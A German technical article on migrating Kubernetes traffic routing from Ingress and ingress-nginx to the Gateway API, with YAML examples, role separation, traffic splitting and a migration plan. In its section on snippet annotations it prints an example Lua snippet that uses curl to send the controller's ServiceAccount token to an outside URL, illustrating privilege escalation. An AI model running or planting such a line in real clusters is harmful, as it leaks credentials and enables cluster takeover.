Fast ein Jahrzehnt lang war die Kubernetes-Ressource Ingress der Standard, um Anwendungs-Traffic ins Cluster zu routen. Wer einen Webservice nach außen freigeben wollte, deklarierte ein Ingress-Objekt, ergänzte ein paar Annotationen, verwies auf die passende IngressClass und richtete den DNS-Eintrag auf die LoadBalancer-IP des Ingress-Controllers ein.
Das Projekt kubernetes/ingress-nginx wurde offiziell eingestellt, die Ingress API erhält keine neuen Funktionen mehr und die Gateway API wird inzwischen von allen großen Controllern (NGINX Gateway Fabric, Envoy Gateway, Cilium, Traefik u. a.) unterstützt. Statt noch einmal den Ingress-Controller zu wechseln, migrieren Plattform- und Operations-Teams deshalb direkt auf die Gateway API.
Für Teams stellen sich dabei drei zentrale Fragen: Welche Schwächen von Ingress behebt die Gateway API, wie gelingt die Migration im laufenden Betrieb und welchen neuen operativen Aufwand bringt sie mit sich?
Die Grenzen von Ingress im Produktionsbetrieb
Ingress dient als Einstiegspunkt für externen HTTP/HTTPS-Traffic und leitet Anfragen anhand von Routing-Regeln im Manifest an interne Backend-Services weiter:
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: blue-colorapp
namespace: blue
spec:
ingressClassName: nginx
rules:
- host: blue.my-demo.com
http:
paths:
- path: /
pathType: Prefix
backend:
service:
name: blue-colorapp
port:
number: 5000
Für einfache, statische Workloads reicht das aus. Sobald eine Anwendung im Produktionsbetrieb jedoch komplexes Routing, Canary-Deployments, eigene Timeouts, Header-Anpassungen oder Rate-Limiting benötigt, zeigen sich die funktionalen und architektonischen Grenzen von Ingress.
Black-Box-Debugging
Die Spezifikation der Ingress API sieht keine Statusmeldungen für Routing-Regeln vor. Verweist ein Ingress-Manifest auf einen nicht existierenden Service oder einen falschen Backend-Port, oder steckt ein Tippfehler im Namen einer Annotation, nimmt der Kubernetes API-Server das Manifest trotzdem ohne Fehlermeldung an. Der Validating-Admission-Webhook von ingress-nginx fängt zwar Konfigurationen ab, die eine ungültige nginx.conf erzeugen würden, solche logischen Fehler erkennt er aber nicht. kubectl get ingress zeigt das Objekt samt Adresse an, selbst wenn hinter der Route kein erreichbares Backend steht.
Da solche Verarbeitungsfehler nicht im Ressourcen-Status landen, können Entwickler nicht selbst nachvollziehen, warum ihre Routen 404 Not Found oder 503 Service Unavailable liefern. Stattdessen erfordert die Fehlersuche direkten Zugriff auf die Container-Logs des Controllers:
kubectl logs -n ingress-nginx deployment/ingress-nginx-controller | grep -E "error|rejected"
In Multi-Tenant-Clustern haben Anwendungsentwickler aus Sicherheitsgründen meist keinen Zugriff auf den Namespace des Controllers. Ohne Einblick in die Logs erfordert bereits ein Tippfehler im Routing die Unterstützung des Plattform-Teams.
Proprietäre Annotationen
Die Routing-Regeln von Ingress kennen im Standard nur Hostnamen und URL-Pfade. Typische Anforderungen aus dem Produktionsalltag wie das Umschreiben von URL-Pfaden (Rewrites) oder das Setzen von HTTP-Headern erfordern Controller-spezifische Annotationen, hier am Beispiel von ingress-nginx:
# Präfix ersetzen (erfordert Regex-Capture-Groups wie /api(/|$)(.*) im Pfad)
nginx.ingress.kubernetes.io/use-regex: "true"
nginx.ingress.kubernetes.io/rewrite-target: /$2
# Request-Header anpassen
nginx.ingress.kubernetes.io/configuration-snippet: |
more_set_input_headers "X-Gateway-Routed: false";
Bei einem Wechsel des Controllers (etwa von NGINX auf Envoy oder Cilium) müssen all diese Konfigurationen neu geschrieben werden. Annotationen sind einfache, ungetypte Schlüssel-Wert-Paare. Der Kubernetes API-Server kann sie beim Anlegen der Ressource nicht auf Gültigkeit prüfen. Ein Tippfehler in einer Annotation wird vom Controller stillschweigend ignoriert und führt im Produktionsbetrieb zu fehlerhaftem Routing.
Fehlendes Traffic-Splitting und Header-Routing
Deployment-Muster wie Canary-Releases, A/B-Tests oder Traffic-Mirroring lassen sich mit der Standard-Ingress-Spezifikation nicht abbilden.
Das Schema sieht keine prozentuale Verteilung des Traffics (z. B. 90 % auf v1, 10 % auf v2) über mehrere Backend-Services vor. Unter ingress-nginx erfordert ein Canary-Release deshalb ein zweites, weitgehend identisches Ingress-Objekt mit den Annotationen nginx.ingress.kubernetes.io/canary: "true" und nginx.ingress.kubernetes.io/canary-weight: "10". Eine Aufteilung auf drei oder mehr Backend-Versionen gleichzeitig ist über diesen Workaround nicht möglich.
Ebenso fehlt im Standard das Routing anhand von HTTP-Headern, Query-Parametern oder HTTP-Methoden.
Beschränkung auf HTTP/HTTPS
Reine TCP- oder UDP-Verbindungen (etwa für Datenbanken, Game-Server oder VoIP) lassen sich über eine Ingress-Ressource nicht konfigurieren. Teams müssen dafür auf NodePort-Services, dedizierte LoadBalancer-Services oder Controller-spezifische ConfigMaps ausweichen.
Auch für gRPC fehlt in der Ingress API ein standardisiertes Routing-Modell. Da die Spezifikation weder gRPC-Services noch Methoden oder Metadata-Header kennt, müssen Teams gRPC-Routing über reguläre http.paths-Regeln und Controller-Annotationen wie nginx.ingress.kubernetes.io/backend-protocol: "GRPC" konfigurieren.
Kein Routing über Namespace-Grenzen hinweg
Eine Ingress-Ressource kann ausschließlich auf Services im selben Namespace verweisen. Um dennoch einen Dienst in einem anderen Namespace einzubinden (etwa einen zentralen Authentifizierungs-Service), müssen Teams auf ExternalName-Services als Workaround zurückgreifen:
# ...
rules:
- host: blue.my-demo.com
http:
paths:
- path: /authenticate
pathType: Prefix
backend:
service:
# Ein Standard-Ingress kann keinen Service im Namespace `auth` direkt ansprechen.
# Als Workaround muss ein ExternalName-Service zwischengeschaltet werden.
name: my-demo-auth-external-name-service
port:
number: 80
Bei einem ExternalName-Service leitet der Ingress-Controller Anfragen an einen internen DNS-CNAME weiter. Erwartet der Ziel-Service beim TLS-Handshake einen bestimmten SNI-Hostnamen, kann die Zertifikatsprüfung fehlschlagen. Zudem existieren für ExternalName-Services keine EndpointSlices, sodass der Controller zur Laufzeit auf die DNS-Auflösung über CoreDNS angewiesen ist. Kurze Störungen im Cluster-DNS können dadurch zu Latenzspitzen oder verworfenen Anfragen führen.
Fehlende Rollentrennung bei RBAC und TLS
Ingress bündelt Domain- und TLS-Konfiguration (Hostnamen, TLS-Zertifikate) direkt mit dem Anwendungs-Routing in einer einzigen Ressource. Da Kubernetes-RBAC Berechtigungen nur für das gesamte Objekt vergeben kann, lassen sich Infrastruktur- und Entwickler-Zuständigkeiten nicht trennen: Trägt ein Entwickler versehentlich einen Hostnamen ein, den bereits ein anderes Team nutzt, kann das zu Routing-Konflikten auf dem gemeinsam genutzten Ingress-Controller führen.
Zudem muss das referenzierte TLS-Secret im selben Namespace wie das Ingress-Objekt liegen. Plattform-Teams müssen geteilte oder Wildcard-Zertifikate dadurch in jeden betreffenden Anwendungs-Namespace kopieren. Dort können Entwickler den privaten Schlüssel auslesen oder das Secret überschreiben:
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: blue-colorapp
namespace: blue
spec:
tls:
- hosts:
- blue.my-demo.com
secretName: wildcard-demo-tls # <-- Liegt im App-Namespace: kann von Entwicklern ausgelesen oder überschrieben werden
# ....
Remote Code Execution über Snippet-Annotationen
Um den begrenzten Funktionsumfang der Ingress-Spezifikation auszugleichen, führte ingress-nginx sogenannte „Snippet-Annotationen" ein, mit denen sich rohe NGINX-Direktiven direkt in die generierte nginx.conf einfügen lassen. Sind Snippets im Controller aktiviert (seit v1.9.0 sind sie standardmäßig aus), kann jedes Anwendungs-Team mit Schreibrechten auf Ingress-Ressourcen im eigenen Namespace darüber beliebigen Lua- oder Shell-Code direkt im Pod des Ingress-Controllers ausführen.
nginx.ingress.kubernetes.io/configuration-snippet: |
access_by_lua_block {
os.execute("curl -X POST https://my-demo-app.com/leak --data $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)")
}
Da der ServiceAccount eines gemeinsam genutzten Controllers Lesezugriff auf Secrets und Services über alle Namespaces hinweg benötigt, ermöglicht ein einzelnes Ingress-Manifest damit eine clusterweite Rechteausweitung (Privilege Escalation).
Auch ohne Snippets bleibt das Grundmuster angreifbar, weil der Controller Annotationen in nginx.conf übersetzt: IngressNightmare (CVE-2025-1974) erlaubte im März 2025 Codeausführung im Controller-Pod über dessen Admission-Webhook, ganz ohne Schreibrechte auf Ingress-Ressourcen.
Gateway API: Klare Trennung nach Rollen
Die Gateway API teilt die Zuständigkeiten auf drei getrennte Ressourcen-Ebenen auf, die sich an den realen Rollen in Engineering-Teams orientieren:
┌────────────────────────────────────────────────────────┐
│ 1. GatewayClass (Infrastruktur-Provider / Admin) │
│ Definiert die verwendete Proxy-Implementierung │
└───────────────────────────┬────────────────────────────┘
│ (Steuert)
┌───────────────────────────▼────────────────────────────┐
│ 2. Gateway (Plattform- / Operations-Team) │
│ Definiert Einstiegspunkte: Ports, Listener, TLS │
└───────────────────────────┬────────────────────────────┘
│ (Bindet Routen über Namespaces hinweg an)
┌───────────────────────────▼────────────────────────────┐
│ 3. HTTPRoute / GRPCRoute / TCPRoute (App-Entwickler) │
│ Definiert Anwendungs-Routing: Pfade, Gewichte, usw. │
└────────────────────────────────────────────────────────┘
Ebene 1 (GatewayClass): Zuordnung des Controllers
Als clusterweite Ressource legt die GatewayClass (vergleichbar mit der IngressClass) fest, welcher Controller (etwa NGINX, Envoy, Istio oder ein Cloud-Controller) die Gateways dieser Klasse verwaltet. Infrastruktur-Administratoren richten die GatewayClass zentral ein und können über parametersRef globale Proxy-Konfigurationen verknüpfen:
apiVersion: gateway.networking.k8s.io/v1
kind: GatewayClass
metadata:
name: my-demo-nginx-gateway-class
spec:
controllerName: gateway.nginx.org/nginx-gateway-controller
parametersRef:
group: gateway.nginx.org
kind: NginxProxy
name: ngf-proxy-config
namespace: my-demo-nginx-gateway
Eine GatewayClass allein öffnet noch keine Ports, vergibt keine IP-Adressen und leitet keinen Traffic weiter.
Ebene 2 (Gateway): Einstiegspunkte, Listener und TLS-Konfiguration
Über die Gateway-Ressource konfigurieren Plattform- und Operations-Teams die konkreten Netzwerkeinstiegspunkte einer GatewayClass. Über listeners legen sie fest, welche Ports, Protokolle und Hostnamen geöffnet werden, hinterlegen die TLS-Zertifikate und steuern über allowedRoutes, aus welchen Namespaces Routen an dieses Gateway angebunden werden dürfen:
apiVersion: gateway.networking.k8s.io/v1
kind: Gateway
metadata:
name: my-demo-gateway
namespace: demo-infra
spec:
gatewayClassName: my-demo-nginx-gateway-class
listeners:
- name: https-wildcard
protocol: HTTPS
port: 443
hostname: "*.my-demo.com"
tls:
mode: Terminate
certificateRefs:
- name: wildcard-demo-tls # Das TLS-Secret verbleibt im Namespace demo-infra
allowedRoutes:
namespaces:
from: Selector
selector:
matchLabels:
gateway-access: "my-demo" # Nur Namespaces mit diesem Label dürfen Routen anbinden
Damit löst das Gateway die fehlende Rollentrennung von Ingress: Listener-Konfiguration und Wildcard-TLS-Secret verbleiben im geschützten Namespace demo-infra und müssen nicht mehr für Anwendungs-Teams freigegeben oder kopiert werden.
Hostname-Konflikte verhindert das allein allerdings nicht: Unter dem Wildcard-Listener können weiterhin zwei Namespaces denselben Hostnamen in ihren HTTPRoutes beanspruchen. Bei identischen Matches gewinnt laut Spezifikation die ältere Route. Wer das ausschließen will, legt pro Team einen eigenen Listener mit festem Hostnamen an.
Ebene 3 (Route-Ressourcen): Anwendungs-Routing für Entwickler
Über Route-Ressourcen (wie HTTPRoute oder GRPCRoute) definieren Anwendungsentwickler in ihrem eigenen Namespace, wie eingehende Anfragen zu ihren Services weitergeleitet werden. Dazu binden sie die Route über parentRefs an das zentrale Gateway an und benötigen dafür keine clusterweiten Berechtigungen.
Nachvollziehbarer Status durch Status Conditions
Die Gateway API behebt das fehlende Status-Reporting von Ingress durch standardisierte Status-Conditions in jeder Ressource. Der Controller schreibt direkt in den status-Block der HTTPRoute, ob die Route formal gültig ist, vom Gateway akzeptiert wurde (Accepted) und ob alle referenzierten Services aufgelöst werden konnten (ResolvedRefs):
kubectl get httproute blue-colorapp-route -n blue -o yaml
status:
parents:
- parentRef:
name: my-demo-gateway
namespace: demo-infra
controllerName: gateway.nginx.org/nginx-gateway-controller
conditions:
# 1. Hat das Gateway diese Route akzeptiert?
- type: Accepted
status: "True"
reason: Accepted
message: "Route successfully bound to Gateway listener https-wildcard"
# 2. Konnten alle Backend-Services und Namespaces aufgelöst werden?
- type: ResolvedRefs
status: "True"
reason: ResolvedRefs
message: "All backend Service references resolved successfully"
Verweist ein Entwickler auf einen falschen Port, einen nicht vorhandenen Service oder ein Gateway, das für seinen Namespace nicht freigegeben ist, wird die Ursache sofort im Status der Route ausgewiesen:
- type: ResolvedRefs
status: "False"
reason: BackendNotFound
message: "Service 'blue-colorapp-v3' in namespace 'blue' not found"
Konfigurationsfehler lassen sich so im eigenen Namespace mit regulären kubectl-Befehlen diagnostizieren, ohne Zugriff auf Controller-Logs oder Unterstützung durch das Plattform-Team. Standardisiert sind dabei type, status und reason. Der Wortlaut der message-Felder unterscheidet sich je nach Controller, die Texte oben sind deshalb als Beispiel zu lesen.
Natives Traffic-Splitting ohne doppelte Manifeste
Für Canary-Releases und gewichtete Lastverteilung sind in der Gateway API keine duplizierten Ressourcen nötig. Eine HTTPRoute unterstützt über matches nicht nur das Routing anhand von Pfaden, HTTP-Headern, Query-Parametern und Methoden, sondern verteilt den Traffic über weight auch gewichtet auf mehrere backendRefs innerhalb derselben Regel:
apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
name: blue-colorapp-route
namespace: blue
spec:
parentRefs:
- name: my-demo-gateway
namespace: demo-infra # Bindet die Route an das zentrale Plattform-Gateway an
hostnames:
- "blue.my-demo.com"
rules:
- matches:
- path:
type: PathPrefix
value: /
backendRefs:
# 90 % des Traffics gehen an die stabile Version v1
- name: blue-colorapp
port: 5000
weight: 90
# 10 % Canary-Traffic gehen an die neue Version v2
- name: blue-colorapp-v2
port: 5000
weight: 10
Native Filter statt proprietärer Annotationen und Snippets
In der Gateway API sind Layer-7-Operationen wie URL-Rewrites, Redirects, Request-Mirroring oder Header-Anpassungen direkt als filters im Schema der HTTPRoute definiert. Das ersetzt sowohl herstellerspezifische Annotationen als auch unsichere Konfigurations-Snippets und ermöglicht dem Kubernetes API-Server, die Konfiguration bereits beim Anlegen zu validieren:
rules:
- matches:
- path:
type: PathPrefix
value: /legacy-api
filters:
# 1. URL-Pfad umschreiben (nativ im Schema und statisch validiert)
- type: URLRewrite
urlRewrite:
path:
type: ReplacePrefixMatch
replacePrefixMatch: /api/v1
# 2. HTTP-Header setzen (ohne rohe Proxy-Direktiven)
- type: RequestHeaderModifier
requestHeaderModifier:
set:
- name: X-Gateway-Routed
value: "true"
backendRefs:
- name: blue-colorapp
port: 5000
Kontrolliertes Routing über Namespace-Grenzen hinweg mit ReferenceGrant
Um Services in anderen Namespaces anzusprechen, sind in der Gateway API keine ExternalName-Services nötig. Stattdessen ermöglicht die Ressource ReferenceGrant einen expliziten, beidseitig kontrollierten Zugriff über Namespace-Grenzen hinweg.
Im folgenden Beispiel leitet eine HTTPRoute im Namespace blue alle Aufrufe unter /authenticate an den zentralen demo-auth-service im Namespace auth weiter:
# 1. Das App-Team verweist in seiner Route auf den Service im anderen Namespace
apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
name: blue-auth-route
namespace: blue
spec:
parentRefs:
- name: my-demo-gateway
namespace: demo-infra
hostnames:
- "blue.my-demo.com"
rules:
- matches:
- path:
type: PathPrefix
value: /authenticate
backendRefs:
- name: demo-auth-service
namespace: auth # Verweis über die Namespace-Grenze hinweg
port: 8080
# 2. Das Team des Ziel-Namespaces gibt den Zugriff gezielt frei
apiVersion: gateway.networking.k8s.io/v1
kind: ReferenceGrant
metadata:
name: allow-blue-auth
namespace: auth # Wird im Ziel-Namespace angelegt
spec:
from:
- group: gateway.networking.k8s.io
kind: HTTPRoute
namespace: blue
to:
- group: ""
kind: Service
name: demo-auth-service
Ohne einen passenden ReferenceGrant im Ziel-Namespace lehnt der Controller die Referenz ab und setzt in den Status-Conditions der Route ResolvedRefs: False (reason: RefNotPermitted). Ein ReferenceGrant ist nicht auf Backend-Services beschränkt, sondern kann einem Gateway ebenso den Lesezugriff auf TLS-Secrets in einem zentralen Namespace (z. B. cert-manager) erlauben.
Als v1 gibt es ReferenceGrant erst seit Gateway API v1.5. Ältere Installationen kennen nur gateway.networking.k8s.io/v1beta1.
Unterstützung für gRPC, TCP, UDP und TLS
Über dasselbe Rollen- und Attachment-Modell unterstützt die Gateway API auch weitere Protokolle. Controller-spezifische ConfigMaps oder dedizierte LoadBalancer-Services werden damit überflüssig:
GRPCRoute: Natives Layer-7-Routing für gRPC anhand von Service-Namen, Methoden und Metadata-Headern.TCPRoute&UDPRoute: Deklaratives Layer-4-Routing für Datenbanken (PostgreSQL, Redis), Message-Broker (Kafka) oder Streaming-Dienste.TLSRoute: Weiterleitung verschlüsselter TLS-Verbindungen (Passthrough) anhand des SNI-Headers, ohne den Traffic am Gateway zu entschlüsseln.
Der Reifegrad ist dabei unterschiedlich: GRPCRoute gehört seit Gateway API v1.1 zum Standard-Channel, TLSRoute seit v1.5, TCPRoute und UDPRoute erst seit v1.6. Nicht jeder Controller implementiert alle Route-Typen, ein Blick in die Liste der Implementierungen und deren Conformance-Reports gehört deshalb vor die Planung.
Migration im laufenden Betrieb (Zero-Downtime)
Der Umstieg von Ingress auf die Gateway API muss nicht in einem einzigen Schritt erfolgen, sondern lässt sich im laufenden Betrieb schrittweise umsetzen:
Parallelbetrieb beider Controller
Der neue Gateway-API-Controller kann im selben Cluster parallel zum bestehenden Ingress-Controller betrieben werden. Beide erhalten eigene LoadBalancer-IPs und können gleichzeitig Traffic an dieselben Backend-Services weiterleiten. So lassen sich alle neuen Routen unter realen Bedingungen testen, bevor der produktive DNS-Eintrag umgestellt wird.
Automatische Konvertierung bestehender Manifeste
Mit dem offiziellen Kubernetes-CLI-Tool ingress2gateway lassen sich vorhandene Ingress-Ressourcen auslesen und automatisch in passende Gateway- und HTTPRoute-Manifeste übersetzen:
ingress2gateway print --providers=ingress-nginx --input-file ingress-manifests.yaml > gateway-api.yaml
Eigene Lua-Skripte, komplexe reguläre Ausdrücke und herstellerspezifische Plugins lassen sich nicht automatisch konvertieren und müssen manuell überführt werden.
Ebenfalls nicht abgedeckt sind die Werkzeuge rund um Ingress. cert-manager stellt Zertifikate für Gateway-Ressourcen erst aus, wenn seine Gateway-API-Unterstützung aktiviert ist, und external-dns legt DNS-Einträge für die neuen Routen nur an, wenn --source=gateway-httproute als zusätzliche Quelle konfiguriert ist.
Schrittweise Umstellung
- Schritt 1: Neue Services von Beginn an über die Gateway API bereitstellen.
- Schritt 2: Bestehende Services mit komplexen Anforderungen (Canary-Deployments, Namespace-übergreifendes Routing) vorziehen, um fehleranfällige Annotationen frühzeitig abzulösen.
- Schritt 3: Den DNS-Traffic schrittweise auf das neue Gateway schwenken und die alten Ingress-Ressourcen abbauen.
Operativer Aufwand und Trade-offs
Die Gateway API löst die funktionalen und architektonischen Schwächen von Ingress, bringt im Gegenzug aber eigene Anforderungen für den Plattformbetrieb mit:
Policy Attachment statt Annotationen
Standard-Ressourcen wie Gateway und HTTPRoute decken Listener-Konfiguration, TLS-Terminierung und Traffic-Routing ab. Funktionen wie Rate-Limiting, WAF-Regeln, Authentifizierung oder Circuit Breaking werden von den Controller-Herstellern über das Policy-Attachment-Modell bereitgestellt. Anstelle von Annotationen kommen dabei eigene Custom Resources zum Einsatz, etwa BackendTrafficPolicy und SecurityPolicy bei Envoy Gateway oder ClientSettingsPolicy bei NGINX Gateway Fabric. Das verhindert zwar unvalidierte Tippfehler, verlagert den Aufwand aber auf die Verwaltung zusätzlicher herstellerspezifischer CRDs, einschließlich der Frage, wie sich Policies zwischen Gateway und HTTPRoute vererben oder überschreiben.
Mehr Ressourcen für denselben Anwendungsfall
Durch die Aufteilung nach Rollen werden aus zwei Ressourcen (IngressClass und Ingress) bis zu vier (GatewayClass, Gateway, HTTPRoute, ReferenceGrant). Das sorgt für saubere Berechtigungsgrenzen, erhöht aber auch die Anzahl der API-Objekte im Cluster und setzt voraus, dass sowohl Operations- als auch Entwicklungsteams das Zusammenspiel der Referenzen über Namespace-Grenzen hinweg verstehen.
LoadBalancer-Provisionierung und Cloud-Kosten
Viele Gateway-Controller erstellen für jedes Gateway-Objekt ein eigenes Proxy-Deployment und einen eigenen Cloud-LoadBalancer. Jeder zusätzliche LoadBalancer belegt eine IP-Adresse und verursacht beim Cloud-Anbieter eigene Kosten (fester Grundpreis + nutzungsabhängige Kosten). Das Anlegen von Gateway-Ressourcen sollte daher per RBAC auf das Plattform-Team beschränkt werden. Um die Kosten zu begrenzen, können sich mehrere Teams ein zentrales Gateway teilen, während dedizierte Gateways nur für Workloads angelegt werden, die eine strikte Isolation erfordern.
Fazit
Wer heute einen neuen Cluster aufsetzt, hat keinen Grund mehr, mit Ingress zu starten: ingress-nginx ist eingestellt, und neue Funktionen landen nur noch in der Gateway API. In bestehenden Clustern lohnt sich die Migration zuerst dort, wo Annotationen, Snippets und kopierte TLS-Secrets heute die meisten Probleme verursachen. Der Preis dafür sind mehr Ressourcen und herstellerspezifische Policy-CRDs, die das Plattform-Team verstehen und betreiben muss.